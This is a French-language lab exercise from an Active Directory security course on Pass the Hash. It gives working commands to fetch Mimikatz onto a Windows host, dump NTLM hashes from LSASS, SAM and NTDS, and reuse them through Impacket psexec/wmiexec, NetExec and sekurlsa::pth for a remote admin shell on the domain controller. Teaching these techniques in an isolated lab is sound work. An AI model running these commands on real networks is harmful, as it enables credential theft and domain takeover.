Pass the Hash#
TP du module Active Directory : extraire un hash NTLM, puis s’authentifier sur une autre machine du domaine sans connaître le mot de passe en clair.
Prérequis : lab AD opérationnel — voir Get Started.
Important : techniques d’attaque réelles, à réaliser uniquement dans le lab isolé décrit dans le get-started.
1. Rappel — qu’est-ce que le Pass the Hash ?#
| Concept | Détail |
|---|---|
| Hash NTLM | Empreinte du mot de passe (32 caractères hex), utilisée par Windows pour l’authentification NTLM |
| Pass the Hash (PtH) | Réutiliser ce hash pour s’authentifier sur SMB, WMI, WinRM, etc., sans le mot de passe en clair |
| Prérequis | Hash obtenu + compte admin local ou admin de domaine sur la machine cible + service distant ouvert (445, 5985…) |
Limites à garder en tête :
- Impossible de PtH vers la même machine où tu es déjà connecté en session locale
- Les comptes locaux
Administratorsont filtrés à distance sur les autres machines (sauf RID 500 sur la machine d’origine) - Credential Guard, LSA Protection et Protected Users durcissent l’extraction et la réutilisation
2. Deux approches pour récupérer les hashes#
Ce TP propose deux parcours pour l’extraction. Les deux mènent à la même phase : Pass the Hash vers une autre machine (section 4).
| Option A — Mimikatz | Option B — Impacket secretsdump | |
|---|---|---|
| Où | Sur la machine Windows compromise (WS01) | Depuis Kali (distant) |
| Prérequis | Shell admin ou SeDebugPrivilege sur WS01 | Identifiants admin + accès SMB (445) |
| Intérêt pédagogique | Comprendre LSASS, mémoire, PtH intégré | Approche « attaquant externe » classique |
| Bruit | Exécution locale (EDR en prod) | Trafic SMB vers la cible |
3. Option A — Récupération des hashes avec Mimikatz#
3.1. Accès initial sur WS01#
Connexion RDP ou shell avec un compte disposant de droits admin local :
lab\user1 → élévation → admin localOu accès grey box fourni par le formateur : lab\administrateur / mot de passe connu.
3.2. Transférer Mimikatz sur WS01#
Depuis Kali :
# Télécharger mimikatz depuis GitHub, puis servir le binaire
python3 -m http.server 8080Sur WS01 (PowerShell en administrateur) :
New-Item -ItemType Directory -Force -Path C:\Temp
Invoke-WebRequest -Uri http://192.168.56.10:8080/mimikatz.exe -OutFile C:\Temp\mimikatz.exe3.3. Dump des sessions en mémoire#
Lancer mimikatz.exe en administrateur :
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswordsRepérer dans la sortie le champ NTLM (32 caractères hex) :
User Name : administrateur
Domain : LAB
NTLM : a1b2c3d4e5f6789012345678abcdef01Si
logonpasswordsne retourne rien : aucune session admin récente en mémoire. Reconnectez-vous en RDP aveclab\administrateursur WS01, puis relancez la commande.
3.4. Autres commandes Mimikatz (selon contexte)#
# Hashes locaux (SAM) — nécessite souvent SYSTEM
mimikatz # lsadump::sam
# Secrets LSA (comptes de service)
mimikatz # lsadump::secrets
# Comptes domaine en cache (DC injoignable)
mimikatz # lsadump::cacheNoter le hash NTLM obtenu — il servira pour la section 4.
4. Option B — Récupération des hashes avec Impacket secretsdump#
Toutes les commandes ci-dessous s’exécutent depuis Kali.
4.1. Dump d’une machine jointe au domaine (WS01)#
Avec des identifiants domaine valides (ex. lab\user1 élevé admin local, ou lab\administrateur) :
impacket-secretsdump 'lab.local/user1:MotDePasse@192.168.56.30'4.2. Dump complet du domaine depuis le DC (nécessite admin domaine)#
# Tous les comptes du domaine (NTDS.dit)
impacket-secretsdump 'lab.local/administrateur:MotDePasse@192.168.56.20'
# Un seul compte
impacket-secretsdump 'lab.local/administrateur:MotDePasse@192.168.56.20' -just-dc-user administrateur4.3. Lire la sortie#
Format typique :
lab.local/administrateur:500:aad3b435b51404eeaad3b435b51404ee:HASH_NT_ICI:::| Champ | Signification |
|---|---|
1er hash (aad3b435…) | LM (souvent vide / placeholder) |
2e hash (HASH_NT_ICI) | NTLM — celui utilisé pour le PtH |
Exporter les variables pour la suite :
export HASH=HASH_NT_ICI
export USER=administrateur
export DOMAIN=lab.local
export TARGET=192.168.56.205. Pass the Hash — phase commune (après extraction)#
Une fois le hash NTLM obtenu (option A ou B), réutilisez-le pour vous authentifier sur une autre machine (typiquement DC01).
5.1. Impacket — shell distant (depuis Kali)#
# PsExec-like (SMB 445)
impacket-psexec -hashes :$HASH $DOMAIN/$USER@$TARGET
# Commande unique
impacket-psexec -hashes :$HASH $DOMAIN/$USER@$TARGET 'whoami & hostname'
# Alternative WMI
impacket-wmiexec -hashes :$HASH $DOMAIN/$USER@$TARGET5.2. NetExec — test et exécution#
# Vérifier l'authentification par hash
nxc smb $TARGET -u $USER -H $HASH -d $DOMAIN
# Exécuter une commande
nxc smb $TARGET -u $USER -H $HASH -d $DOMAIN -x 'whoami'5.3. Mimikatz — PtH intégré (depuis WS01)#
Sans repasser par Kali, injecter un processus authentifié avec le hash :
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:administrateur /domain:lab.local /ntlm:HASH_NT_ICI /run:cmd.exeDepuis le cmd ouvert :
whoami
dir \\192.168.56.20\c$5.4. Preuve de succès (livrable)#
| Preuve | Commande |
|---|---|
| Identité sur la cible | whoami → lab\administrateur |
| Machine atteinte | hostname → DC01 |
| Accès fichiers | dir \\DC01\c$ ou listing via shell Impacket |
6. Grille de TP#
| # | Tâche | Critère de réussite |
|---|---|---|
| 1 | Cartographier le réseau (nmap) | Ports 445/5985 identifiés sur DC01 et WS01 |
| 2 | Extraire un hash NTLM | Sortie Mimikatz ou secretsdump documentée |
| 3 | Pass the Hash vers DC01 | Shell ou whoami admin sur le DC |
| 4 | Expliquer le mécanisme | NTLM, droits admin, différence hash / mot de passe |
| 5 | Proposer 2 mitigations | LAPS, tiering, Protected Users, Credential Guard… |
7. Suite de la démarche#
Phase actuelle : Pass the Hash — extraction NTLM et mouvement latéral vers le DC.
[✓] Mise en place → [✓] Pass the Hash → [ ] Kerberoasting → [ ] …Étape suivante : Kerberoasting (page à venir) — exploitation des SPN et des tickets Kerberos.
Références :